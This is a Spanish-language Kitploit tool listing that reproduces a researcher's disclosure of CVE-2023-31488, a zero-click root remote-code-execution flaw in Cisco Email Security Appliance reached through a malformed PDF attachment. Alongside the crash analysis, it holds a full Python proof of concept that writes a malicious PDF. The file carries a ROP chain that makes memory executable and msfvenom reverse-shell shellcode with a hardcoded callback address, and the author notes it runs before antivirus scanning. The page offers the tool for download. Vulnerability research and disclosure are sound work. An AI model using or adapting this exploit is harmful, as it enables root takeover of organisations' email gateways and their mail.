Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: Del correo electrónico a RCE de cero clics como root - Ejecución Remota de Código/Corrupción de Memoria/Cadena ROP | Kitploit
Herramientas/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Frameworks de ExploitsForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodeFuzzingPruebas de PenetraciónDesarrollo de PayloadsSeguridad de Correo ElectrónicoExplotación de Binarios
1hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: Del correo electrónico a RCE de cero clics como root - Ejecución Remota de Código/Corrupción de Memoria/Cadena ROP

Ver Repositorio

Acerca de

Investigador de seguridad: ly1g3, ly1g3[at]tuta.io

Huella GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Resumen: Correo electrónico a RCE de cero clics como root - Ejecución remota de código/Corrupción de memoria/Cadena ROP

CVE: CVE-2023-31488

Cronología:

  • Descubierto - ly1g3
  • Reportado - ly1g3
  • Corregido - Cisco y Lexmark

Informe

Mientras realizaba fuzzing en Cisco Email Security Appliance (ESA), descubrí una vulnerabilidad en Lexmark Perceptive Filters, utilizado por la ESA para la desinfección de datos de los adjuntos de correo, que conduce a RCE a través del correo electrónico. El fallo ocurre al analizar un adjunto PDF modificado. Al alterar un ID de objeto PDF de dos dígitos, por ejemplo:

Por ejemplo:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

Cambiar parte del ID de 13 a otro valor (como un espacio) da como resultado:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

El envío de este PDF modificado por correo electrónico a la ESA de Cisco provoca un fallo de segmentación en libISYSpdf6.so. El fallo se debe a que r14 contiene datos ASCII.

2 3

Una inspección más detallada muestra que estos datos provienen del contenido del adjunto PDF bajo nuestro control. El valor de r14 es Rect. 4

Probando al cambiar Rect por AAAA.

5

Dado que el valor de r14 se carga desde datos del PDF, podemos modificarlo para que apunte a una dirección de memoria válida. Después de este ajuste, se produce otro fallo debido a datos no válidos en RAX. Estos datos también son ASCII del PDF.

6

Modificamos el PDF para que rax también apunte a una dirección real y continuamos. 7

Se produce un nuevo fallo; ahora rsi contiene datos ASCII del PDF. 8

Modificamos el PDF nuevamente para cargar una dirección de memoria real.

9

Finalmente, llegamos a una parte muy interesante del código. Donde controlamos rdi, que se utiliza para cargar un valor en rax. La instrucción final de esta secuencia es call rax. Ahora estamos avanzando bien hacia la consecución de capacidades de ejecución de código.

10

Una vez más entramos al editor hexadecimal y modificamos el valor cargado en rdi. 11

Ahora tenemos una forma de ejecución de código limitada y podemos saltar a una única dirección. Como ASLR no está presente, encontrar direcciones de memoria es fácil. También controlamos rdi y, por lo tanto, usamos el gadget ROP inicial libISYSshared.so: push rdi; pop rsp; xor eax, para mover rdi a rsp y controlar la pila. Apuntamos la pila a un área que controlamos en la región de memoria del PDF con una pila personalizada preparada con más gadgets ROP. 12

Un shellcode de reverse shell para FreeBSD generado con msfvenom se coloca en la región de memoria del PDF. Pero como la memoria no es ejecutable, primero tenemos que hacerla ejecutable.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

Dado que en este punto controlamos la pila, esto se puede hacer con la siguiente cadena ROP para llamar a mmap y establecer la región de memoria del shellcode como RWX.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

Después de que se llama a mmap, call rsp; ejecutará el NOP-sled de nuestro shellcode, ya que la dirección del shellcode está a continuación en nuestra pila personalizada. El shellcode es una reverse shell generada con msfvenom.

Un dato interesante es que este código se ejecuta antes de cualquier escaneo antivirus estático, por lo que la reverse shell estándar de metasploit funcionará sin problemas.

Podemos usar la prueba de concepto de abajo para crear un PDF funcional. Después de esto, solo lo enviamos por correo electrónico a la ESA para obtener RCE. Consulta mis otras vulnerabilidades para la escalada de privilegios.

Y con eso obtenemos una shell remota en la ESA:

13

Este fue un proyecto divertido que me enseñó mucho sobre vulnerabilidades de corrupción de memoria. También demuestra lo buena que es una protección de memoria "moderna" como ASLR, pero también que todavía se pueden encontrar sistemas sin ASLR por ahí.

Cisco AsyncOS 14.2.0

Ataque de desbordamiento en ESA (Cisco Secure Email). Ejecución remota de código como root.

Desbordamiento de variable/búfer en Lexmark Perceptive Filters

Al enviar un archivo PDF especialmente diseñado, un desbordamiento permite a un atacante obtener ejecución remota de código arbitrario en la ESA y en otros productos que utilizan Lexmark Perceptive Filters.

Detalles técnicos

Este ataque de desbordamiento permite al atacante obtener control sobre una instrucción call rax, lo que hace trivial pivotar a la ejecución de código arbitrario, ya que no se usa ASLR en la ESA. El código se ejecutará como root.

El problema proviene del análisis de PDF en la biblioteca libISYSpdf6.so de Lexmark y está causado por llamadas a la función IGR_Open_File_Ex. Esta función se puede rastrear hasta las funciones safeprint y image_analysis en AMP (Advanced Malware Protection), pero el exploit posiblemente también podría activarse mediante otras rutas.

Pasos para reproducir:

  1. Crear un PDF que contenga Subtype/CIDFontType2/FontDescriptor. La muestra se puede encontrar aquí https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. Por ejemplo:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. Reemplazar parte del id 13 con otro valor (como un espacio) 1 , lo que da como resultado:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. Enviar el PDF a la ESA con safeprint o AMP image_analysis habilitados

  2. Esto provoca un fallo de segmentación en libISYSpdf6.so

root@kitploit:~
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. Esto se puede escalar a RCE, ya que los datos cargados en rax eventualmente llegarán a:
root@kitploit:~
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
  1. Luego se puede crear la cadena ROP para la reverse shell, ya que ASLR no se usa, esto es trivial.

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

Descargar herramienta